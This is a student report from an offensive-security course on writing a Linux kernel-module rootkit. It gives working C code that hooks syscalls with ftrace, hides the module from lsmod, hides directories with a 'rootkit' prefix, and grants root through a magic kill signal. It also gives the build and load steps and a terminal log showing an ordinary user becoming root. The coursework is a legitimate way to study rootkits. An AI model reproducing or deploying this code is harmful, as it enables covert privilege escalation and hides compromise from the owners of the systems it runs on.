Project Title:

RootKit

Course:

Offensive Technologies

Authour:

Naghmeh Mohammadi Far

Proposal:

I wanted to work with firmware and firmware rootkits

What is Rootkit:

Rootkit is kind of a malware but more complex. It usually contains different modules like: backdoor, hiding processes, stealing the user credentials using keylogger and so on. Commonly, attackers use rootkits to open the system and increase their malware’s persistence in that computer. In this case rootkit tries to hide the loaded malware from the task manager and other ways that users can understand about its existence.

RootKit types:

1. Kernel rootkit: In this way, the rootkit has access directly to the kernel and its functions, systemcalls, attributes, macros, etc. That makes it easy to control everything without the user's awareness.
2. Usermod rootkit: It is simpler and less complex than the previous one. It uses the user space applications and has less accessibility to the critical files of the system.
3. Hardware or Firmware rootkit: This one sticks to the firmware (UEFI, BIOS) and cannot be removed even after reinstalling the Operating system. Also they change the firmware that in each setup, they will open and without the user's understanding, they will do whatever they want.

Writing our RootKit:

Here I am going to look through the linux kernel modules and see if I can write a module that let me have the following functionalities or not:

1. Hiding the module from kernel running modules list
2. Hiding any directory which has “rootkit” prefix in it’s name
3. Privilege escalation
4. Opening a backdoor

First we need to understand the idea behind everything:

What is the kernel syscall table?

Syscall or system call is a function that can be called from userspace like “open”, “write”, “read”, etc. All of these functions are stored in a table named “syscall table”. Each of this functions has a number and for making a syscall, we need to store the number into the “rax” register and then call the kernel with the software interrupt syscall. Any arguments that the syscall needs have to be loaded into certain registers before we use the interrupt and the return value is almost always placed into “rax”. As an example we have syscall “read” with name “sys_read” and number “0”.

This read function is defined as”

“ssize_t read(int fd, void *buf, size_t count);”

List of registers would become like:

1. Rax = 0x0
2. Rdi = fd
3. Rsi = buf
4. Rdx = count

The way that linux handles these syscalls, are different these days (after kernel 4.17 it changed). Before it would send the parameters as they are to the registers but in the new version, the arguments that are first stored in registers by the user are copied into a special struct called pt_regs, and then this is the only thing passed to the syscall.

In conclusion, we need to find the address of syscall table and try to do some “function hooking” which means we want to swap the original function code with our malicious/ new function.

Rootkit code explanation:

For doing this function hooking, I saw two approaches :

1. Searching for the syscall table and simple swap the function:

```
1  static unsigned long **aquire_sys_call_table(void)
2  {
3      unsigned long int offset = PAGE_OFFSET;
4      unsigned long **sct;
5
6      printk("Starting syscall table scan from: %lx\n", offset);
7      while (offset < ULLONG_MAX) {
8
9          sct = (unsigned long **)offset;
10
11         if (sct[__NR_close] == (unsigned long *) sys_close) {
12             printk("Syscall table found at: %lx\n", offset);
13             return sct;
14         }
15
16         offset += sizeof(void *);
17     }
18     return NULL;
19 }
```

In this way, as you can see, first it use a macro “PAGE_OFFSET” then start from that address to search for the table. We know that sys_close has the lowest address so, if we find it, that means others are after it.

Unfortunately, although this one was very popular on the online sources, on my machine it was not successfully loaded and operated.
So, I moved on to the second style.

2. Using Ftrace to create a function hook within the kernel:

We will use ftrace to step in whenever the “rip” register contains a certain memory address. If we set this address to a function, then we can cause another function to be executed instead.

```
/* Declare the struct that ftrace needs to hook the syscall */
static struct ftrace_hook hooks[] = {
    HOOK("sys_kill", hook_kill, &orig_kill),
    HOOK("sys_getdents64", hook_getdents64, &orig_getdents64),
    HOOK("sys_getdents", hook_getdents, &orig_getdents),
   // HOOK("sys_write", hijacked_sys_write, &orig_write ),
};
```

Using this structure, we simply do what we want. The fist argument is the name of the function, the second one the new function that we wrote and the third one is a reference to the place that the original function should be saved.

```
/* Module initialization function */
static int __init rootkit_init(void)
{
    /* Hook the syscall and print to the kernel buffer */
    int err;
    err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
    if(err)
        return err;
```

So, in our initialization function we only need to use “fh_install_hooks” and pass the previously completed structure to it.

```
static void __exit rootkit_exit(void)
{
    /* Unhook and restore the syscall and print to the kernel buffer */
    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));

    printk(KERN_INFO "rootkit: Unloaded :-(\n");
```

Then when we finished, unload the malicious inserted files.

P.s. In this style, we also need to find the systemcall table but will set other registers and some other details.

```
static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
    hook->address = kallsyms_lookup_name(hook->name);

    if (!hook->address)
    {
        printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
        return -ENOENT;
    }
```

Now the only remaining part is that we define the new functions to do what we expect:

1. Kill hooking: When we send kill -9 to end a process, we are sending a signal number to this syscall. So, if we define a new signal number and inside the hooking function check it, we can achieve what we wanted.

So, We will check the signal number and if it was equal to 64, we will check something.
We want to hide our module and if it was hidden, unhide it. Akso I add the set_root() part here too, to simplify the work. This function will set the current user's credentials to 0 that would make our user as root. Because in one task we have no access to the other task's credentials and we need to do whatever we want there.

```
static asmlinkage int hook_kill(pid_t pid, int sig)
{
    void showme(void);
    void hideme(void);

    if(sig ==64){
        if ( (hidden == 0) ){

            printk(KERN_INFO "rootkit: giving root...\n");
            set_root();
            printk(KERN_INFO "rootkit: hiding rootkit kernel module...\n");
            hideme();
            hidden = 1;
            return 0;
        }
        else{
            printk(KERN_INFO "rootkit: revealing rootkit kernel module...\n");
            showme();
            hidden = 0;
            return 0;
        }
    }
    else{
        return orig_kill(pid, sig);
    }
```

```c
void showme(void)
{
    list_add(&THIS_MODULE->list, prev_module);
}

/* Record where we are in the loaded module list by storing
 * the module prior to us in prev_module, then remove ourselves
 * from the list */
void hideme(void)
{
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
}

void set_root(void)
{
    /* prepare_creds returns the current credentials of the process */
    struct cred *root;
    root = prepare_creds();

    if (root == NULL)
        return;

    /* Run through and set all the various *id's to 0 (root) */
    root->uid.val = root->gid.val = 0;
    root->euid.val = root->egid.val = 0;
    root->suid.val = root->sgid.val = 0;
    root->fsuid.val = root->fsgid.val = 0;

    /* Set the cred struct that we've modified to that of the calling process */
    commit_creds(root);
}
```

In this photo you can see that for hiding it will simply delete it from the list and save it in another variable for the future to add it again (showme() function).

2. Hook getdents and getdents64: These are for hiding a directory. The idea for this code is that, it will go and search through the tree of the directories and if it sees any directory with the specified prefix there, will just save it and shift the others by one. The code was abit long and I guess explaining every line is out of this documentation scope.

3. Hook the sys_write: I will need to change it in order to open the a backdoor that will let the attacker have a shell connection to the victim. But, I couldn't finish it in time (a little debugging is needed and the code is available inside the source code I sent)

At the end, we need to create a makefile because it is a kernel module and we cannot simply compile the c files.

```
1  obj-m       = rootkit.o
2  # rootkit-objs = nfilter.o
3
4  all:
5      make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
6
7  clean:
8      make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
9
```

It says that it should go and kinda link our source code with the linux modules (we are using linux functions and macros, etc.) and will create a kernel module with the name “rootkit.ko”.

For running the kernel module we should go to the folder and run “make”
Then “sudo insmod rootkit.ko” to load the created module into the kernel.
Then using “kill -64 1” , “lsmod” we can check and play and see the results.
When we want to finish “rmmod rootkit.ko”

Testing if the root privilege is thoroughly working or not:

```
pc4@pc4:~/my-rootkit$ whoami
pc4
pc4@pc4:~/my-rootkit$
pc4@pc4:~/my-rootkit$ touch /etc/new_test
touch: cannot touch '/etc/new_test': Permission denied
pc4@pc4:~/my-rootkit$
pc4@pc4:~/my-rootkit$
pc4@pc4:~/my-rootkit$ kill -64 1
pc4@pc4:~/my-rootkit$
pc4@pc4:~/my-rootkit$
pc4@pc4:~/my-rootkit$ whoami
root
pc4@pc4:~/my-rootkit$
pc4@pc4:~/my-rootkit$
pc4@pc4:~/my-rootkit$ touch /etc/new_test
pc4@pc4:~/my-rootkit$
pc4@pc4:~/my-rootkit$ ls /etc/ | grep new
newt
new_test
```

You can see that, yes. Horaaay !!

LoJack and LoJax RootKit:

In the first week I went through reading and learning about concepts, register, definitions and a lot of things to understand the whitepaper about LoJax but if I want to say them here, it is just like copy pasting from that paper. You know, the level of knowledge was higher than mine. Also, it is worth noting that I know the code may seem nothing but I had to understand all of the concepts from the kernel part to pointers in c :))
As a result, I learned a lot while enjoying it and I should say thank you for giving me this opportunity.

References:

1. https://xcellerator.github.io/posts/linux_rootkits_02/
2. https://github.com/crudbug/simple-rootkit
3. https://raw.githubusercontent.com/loneicewolf/LOJAX/main/ESET-LoJax.pdf
4. https://github.com/eset/malware-ioc/blob/master/sednit/lojax.adoc
5. https://github.com/loneicewolf/LOJAX
6. https://heimdalsecurity.com/blog/rootkit/